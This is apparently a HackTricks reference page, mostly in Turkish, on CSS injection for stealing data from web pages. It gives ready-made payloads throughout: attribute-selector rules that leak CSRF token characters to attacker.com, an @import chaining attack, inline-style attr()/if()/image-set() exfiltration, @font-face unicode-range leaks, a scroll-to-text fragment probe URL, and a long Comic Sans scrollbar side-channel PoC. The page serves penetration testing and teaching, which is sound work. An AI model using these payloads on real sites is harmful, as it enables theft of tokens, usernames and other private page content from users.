CSS Injection
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
CSS Injection
LESS Code Injection
LESS, variables, mixins, functions ve güçlü @import yönergesini ekleyen popüler bir CSS ön işlemcisidir. Derleme sırasında LESS motoru @import ifadelerinde referans verilen kaynakları getirir ve (inline) seçeneği kullanıldığında bunların içeriğini ortaya çıkan CSS’e gömer (“inline”).
{{#ref}} less-code-injection.md {{/ref}}
Attribute Selector
CSS seçicileri, bir input öğesinin name ve value özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer input öğesinin value özniteliğinin değeri belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Ancak, bu yaklaşım gizli input öğeleri (type=“hidden”) ile uğraşırken bir sınırlama ile karşılaşır; çünkü gizli öğeler arka planları yüklemez.
Gizli Öğeler için Bypass
Bu sınırlamayı aşmak için, ~ general sibling combinator kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Bu tekniğin istismarına dair pratik bir örnek sağlanan kod parçasında detaylandırılmıştır. Görüntüleyebilirsiniz here.
Prerequisites for CSS Injection
CSS Injection tekniğinin etkili olabilmesi için bazı koşulların sağlanması gerekir:
- Payload Length: CSS injection vektörünün, oluşturulmuş selectors’ları barındıracak kadar uzun payload’ları desteklemesi gerekir.
- CSS Re-evaluation: Sayfayı frameleyebilme yeteneğiniz olmalı; bu, yeni oluşturulan payload’larla CSS’in yeniden değerlendirilmesini tetiklemek için gereklidir.
- External Resources: Teknik, harici olarak barındırılan resimleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir.
Blind Attribute Selector
As explained in this post, :has ve :not selector’larını birleştirerek blind elements’lerden bile içerikleri tespit etmek mümkündür. Bu, CSS injection’ı yükleyen web sayfasının içinde ne olduğunu hiç bilmediğiniz durumlarda çok kullanışlıdır.
Ayrıca bu selector’ları, aynı türdeki birden fazla bloktan bilgi çıkarmak için de kullanmak mümkündür, örneğin:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Bunu aşağıdaki @import tekniğiyle birleştirerek, blind-css-exfiltration ile blind pages’ten CSS injection kullanarak çok fazla info exfiltrate etmek mümkün.
@import
Önceki tekniğin bazı dezavantajları var; ön koşulları kontrol edin. Ya send multiple links to the victim yapabilmelisiniz, ya da iframe the CSS injection vulnerable page yapabilmelisiniz.
Ancak, tekniğin etkinliğini artırmak için CSS @import kullanan başka bir akıllıca teknik var.
Bu ilk olarak Pepe Vila tarafından gösterildi ve şöyle çalışır:
Aynı sayfayı her defasında onlarca farklı payload ile tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), load the page just once and just with an import to the attackers server yapacağız (bu, victim’a gönderilecek payload’tur):
@import url("//attacker.com:5001/start?");
- The import, saldırganlardan bazı CSS scripti alacak ve tarayıcı bunu yükleyecek.
- CSS scriptinin saldırganın göndereceği ilk kısmı tekrar saldırganın sunucusuna bir @import olacak.
- Saldırganın sunucusu henüz bu isteğe yanıt vermeyecek; önce bazı karakterleri leak etmek istiyoruz ve sonra bu import’a sonraki karakterleri leak etmek için payload içeren yanıt verilecek.
- Payload’ın ikinci ve daha büyük kısmı bir attribute selector leakage payload olacak.
- Bu, saldırganın sunucusuna secret’in ilk karakterini ve son karakterini gönderecek.
- Saldırganın sunucusu secret’in ilk ve son karakterlerini alınca, adım 2’de istenen import’a yanıt verecek.
- Yanıt, adımlar 2, 3 ve 4 ile tamamen aynı olacak, ama bu sefer secret’in ikinci karakterini ve sondan bir önceki karakteri bulmaya çalışacak.
Saldırgan, secret’i tamamen leak edene kadar bu döngüyü takip edecek.
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
Script, her seferinde 2 karakter (başlangıçtan ve sondan) keşfetmeye çalışacak çünkü attribute selector şu gibi şeyleri yapmaya izin veriyor:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
Bu, script’in secret’i daha hızlı leak etmesini sağlıyor.
Warning
Bazen script, keşfedilen prefix + suffix’in zaten tamamlanmış flag olduğunu doğru algılamıyor ve prefix tarafında ileriye, suffix tarafında geriye devam ediyor ve bir noktada takılı kalıyor.
Endişelenmeyin, sadece output’u kontrol edin çünkü flag’i orada görebilirsiniz.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive, sadece bir elementin inline style attribute’unu kullanarak, selector veya dış stil sayfaları olmadan exfiltration yapılmasına izin veriyor. CSS custom properties, aynı elementi okumak için attr() fonksiyonu, dallanma için yeni CSS if() koşulları ve eşleşen değeri encode eden bir network isteği tetiklemek için image-set() kullanıyor.
Warning
if() içindeki eşitlik karşılaştırmaları için string literal’lerde çift tırnak gereklidir. Tek tırnak eşleşmez.
- Sink: Bir elementin style attribute’unu kontrol edin ve hedef attribute’un aynı elementte olduğundan emin olun (attr() yalnızca aynı elementin attribute’larını okur).
- Read: Attribute’u bir CSS değişkenine kopyalayın: –val: attr(title).
- Decide: Değişkeni string adaylarla karşılaştıran iç içe koşullarla bir URL seçin: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: background: image-set(var(–steal)) (veya herhangi bir fetching özelliği) uygulayarak seçilen endpoint’e bir istek zorlayın.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Çalışan payload (karşılaştırmada çift tırnak gerekli):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
İç içe koşullarla öznitelik değerlerini numaralandırma:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Gerçekçi demo (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notlar ve sınırlamalar:
- Araştırma sırasında Chromium tabanlı tarayıcılarda çalışır; davranış diğer motorlarda farklı olabilir.
- Sınırlı/sayılabilir değer alanları (IDs, flags, short usernames) için en uygunudur. Harici stylesheet olmadan rastgele uzun dizelerin çalınması hâlâ zordur.
- Bir URL isteyen herhangi bir CSS özelliği isteği tetiklemek için kullanılabilir (örn. background/image-set, border-image, list-style, cursor, content).
Otomasyon: Bir Burp Custom Action, nested inline-style payload’lar üreterek attribute değerlerini brute-force etmek için kullanılabilir: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Diğer seçiciler
DOM parçalarına CSS selectors ile erişmenin diğer yolları:
- .class-to-search:nth-child(2): Bu, DOM’da “class-to-search” sınıfına sahip ikinci öğeyi arar.
- :empty selector: Örneğin this writeup:
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
Error based XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Genel amaç, kontrollü bir endpoint’ten özel bir font kullanmak ve belirtilen kaynak (favicon.ico) yüklenemediği durumda metnin (bu örnekte ‘A’) yalnızca bu font ile gösterildiğinden emin olmaktır.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Custom Font Usage:
- A custom font is defined using the @font-face rule within a
- The font is named poc and is fetched from an external endpoint (http://attacker.com/?leak).
- The unicode-range property is set to U+0041, targeting the specific Unicode character ‘A’.
- Object Element with Fallback Text:
- An
- The font-family for this element is set to ‘poc’, as defined in the
- If the resource (favicon.ico) fails to load, the fallback content (the letter ‘A’) inside the
- The fallback content (‘A’) will be rendered using the custom font poc if the external resource cannot be loaded.
Styling Scroll-to-Text Fragment
The :target pseudo-class is employed to select an element targeted by a URL fragment, as specified in the CSS Selectors Level 4 specification. Önemli olan şudur: ::target-text, metin fragment tarafından açıkça hedeflenmediği sürece herhangi bir elementi eşlemez.
Bir güvenlik sorunu, saldırganların Scroll-to-text fragment özelliğini kötüye kullanmasıyla ortaya çıkar; bu sayede HTML injection yoluyla sunucularından bir kaynak yükleyerek bir sayfada belirli bir metnin varlığını doğrulayabilirler. Yöntem, aşağıdakine benzer bir CSS kuralı enjekte etmeyi içerir:
:target::before {
content: url(target.png);
}
Bu tür senaryolarda, sayfada “Administrator” metni varsa, target.png kaynağı sunucudan istenir; bu, metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilmiş CSS’i Scroll-to-text fragment ile birlikte içeren özel hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text “Administrator” through the Scroll-to-text fragment (#:~:text=Administrator). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
Bunu hafifletmek için şu noktalar dikkate alınmalıdır:
- Sınırlı STTF Eşleştirmesi: Scroll-to-text Fragment (STTF) yalnızca kelimeleri veya cümleleri eşleştirecek şekilde tasarlanmıştır; bu nedenle rastgele sırları veya token’ları leak etme yeteneği sınırlıdır.
- Üst-seviye Tarama Bağlamlarına Kısıtlama: STTF sadece top-level browsing context’lerde çalışır ve iframe içinde çalışmaz; bu da herhangi bir istismar girişimini kullanıcının daha kolay fark etmesini sağlar.
- Kullanıcı Etkinleştirmesi Gerekir: STTF’nin çalışması için bir user-activation gesture gereklidir; yani istismarlar yalnızca kullanıcı tarafından başlatılan navigasyonlar aracılığıyla gerçekleştirilebilir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Yine de blog post’un yazarı, sosyal mühendislik veya yaygın tarayıcı eklentileri ile etkileşim gibi otomasyonu kolaylaştırabilecek belirli koşullar ve bypass’lar olduğunu belirtmektedir.
Bu mekanizmaların ve olası açıklıkların farkında olmak, web güvenliğini korumak ve bu tür istismar taktiklerine karşı korunmak için önemlidir.
Daha fazla bilgi için orijinal rapora bakın: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Bu teknikle yapılmış bir CTF exploit’ini burada inceleyebilirsiniz.
@font-face / unicode-range
You can specify external fonts for specific unicode values that will only be gathered if those unicode values are present in the page. For example:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Anlatılan teknik, font ligatürlerini kullanarak bir node içindeki metni çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:
- Creation of Custom Fonts:
- SVG fontlar, iki karakterli bir diziyi temsil eden glif için büyük bir genişlik ayarlayan horiz-adv-x özniteliğine sahip gliflerle hazırlanır.
- Örnek SVG glif:
, burada “XY” iki karakterlik bir diziyi belirtir. - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
- Detection of Width Changes:
- Metnin satır atlamaması için CSS kullanılır (white-space: nowrap) ve scrollbar stili özelleştirilir.
- Belirgin şekilde biçimlendirilmiş yatay bir scrollbar’ın ortaya çıkması, belirli bir ligatürün (dolayısıyla belirli bir karakter dizisinin) metinde bulunduğuna dair bir gösterge (oracle) olarak iş görür.
- İlgili CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Exploit Process:
- Adım 1: İki karakterlik kombinasyonlar için büyük genişlikli glifler oluşturan fontlar hazırlanır.
- Adım 2: Büyük genişlikli glifin (iki karakterin ligatürü) render edilip edilmediğini tespit etmek için scrollbar tabanlı bir hile kullanılır; bu, o karakter dizisinin mevcut olduğunu gösterir.
- Adım 3: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve başına veya sonuna bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glifler üretilir.
- Adım 4: Üç karakterlik ligatürün tespiti yapılır.
- Adım 5: Süreç tekrarlanır ve kademeli olarak tüm metin açığa çıkarılır.
- Optimization:
- Şu anki başlatma yöntemi olan optimal değil.
- Daha verimli bir yöntem olarak CSS @import hilesi kullanılabilir; bu, exploit performansını artırır.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
Bu hile, bu Slackers thread içinde yayınlandı. Bir text node’da kullanılan charset, tarayıcıya önceden yüklü default fontlar kullanılarak leak edilebilir: dış -veya özel- fontlara gerek yoktur.
Kavram, bir div’in genişliğini kademeli olarak artıran bir animasyon kullanmayı ve böylece aynı anda bir karakterin ‘suffix’ bölümünden ‘prefix’ bölümüne geçmesini sağlamayı temel alır. Bu işlem metni iki bölüme ayırır:
- Prefix: İlk satır.
- Suffix: Sonraki satır(lar).
Karakterlerin geçiş aşamaları şu şekilde görünür:
C
ADB
CA
DB
CAD
B
CADB
Bu geçiş sırasında, her yeni karakter prefix’e katıldığında onu tespit etmek için unicode-range trick kullanılır. Bu, fontun Comic Sans’a geçişiyle gerçekleştirilir; Comic Sans genellikle varsayılan fonttan daha uzun olduğundan dikey bir scrollbar tetiklenir. Bu scrollbar’ın görünmesi, dolaylı olarak prefix’te yeni bir karakterin bulunduğunu açığa çıkarır.
Bu yöntem, benzersiz karakterlerin göründükçe tespit edilmesini sağlar; fakat hangi karakterin tekrarlandığını belirtmez, sadece bir tekrarın olduğunu söyler.
Tip
Temelde, unicode-range bir char’ı tespit etmek için kullanılır, ancak harici bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.
Char bulunduğunda, ona ön yüklü Comic Sans fontu atanır; bu char’ı daha büyük yapar ve bir scroll bar tetikler; bu scroll bar bulunan char’ı leak edecek şekilde davranır.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Referans: Bu, bu yazıda başarısız bir çözüm olarak geçiyor
Bu durum öncekiyle çok benzer; ancak bu durumda amaç belirli karakterleri diğerlerinden daha büyük yapmak, bir şeyi gizlemektir — örneğin botun basmaması için bir buton veya yüklenmeyecek bir görsel. Böylece eylemi (veya eylemin olmamasını) ölçerek metin içinde belirli bir karakterin bulunup bulunmadığını anlayabiliriz.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Referans: Bu, bu yazıda başarısız bir çözüm olarak geçiyor
Bu durumda, aynı origin’den sahte bir font yükleyerek bir karakterin metin içinde olup olmadığını leak etmeye çalışabiliriz:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Eğer bir eşleşme olursa, font /static/bootstrap.min.css?q=1’den yüklenecek. Başarıyla yüklenmese bile, tarayıcı bunu cachelemeli, ve cache olmasa bile 304 not modified mekanizması olduğu için, yanıt diğer şeylere göre daha hızlı olmalıdır.
Ancak, cache’lenmiş yanıt ile cache’lenmemiş yanıt arasındaki zaman farkı yeterince büyük değilse bu faydalı olmaz. Örneğin yazar şöyle demiş: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Referans: This is mentioned as an unsuccessful solution in this writeup
Bu durumda eşleşme olduğunda aynı origin’den yüzlerce sahte font yüklemek için CSS belirtebilirsiniz. Bu şekilde geçen süreyi ölçebilir ve bir karakterin görünüp görünmediğini şu tarz bir şeyle anlayabilirsiniz:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Ve botun kodu şöyle görünüyor:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Yani, font eşleşmiyorsa, bota erişimde yanıt süresi yaklaşık 30 saniye olacaktır. Ancak font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecek ve ağ sürekli etkin olacaktır. Sonuç olarak, durdurma koşulunun sağlanması ve yanıtın alınması daha uzun sürecektir. Bu yüzden yanıt süresi, font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
Referanslar
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

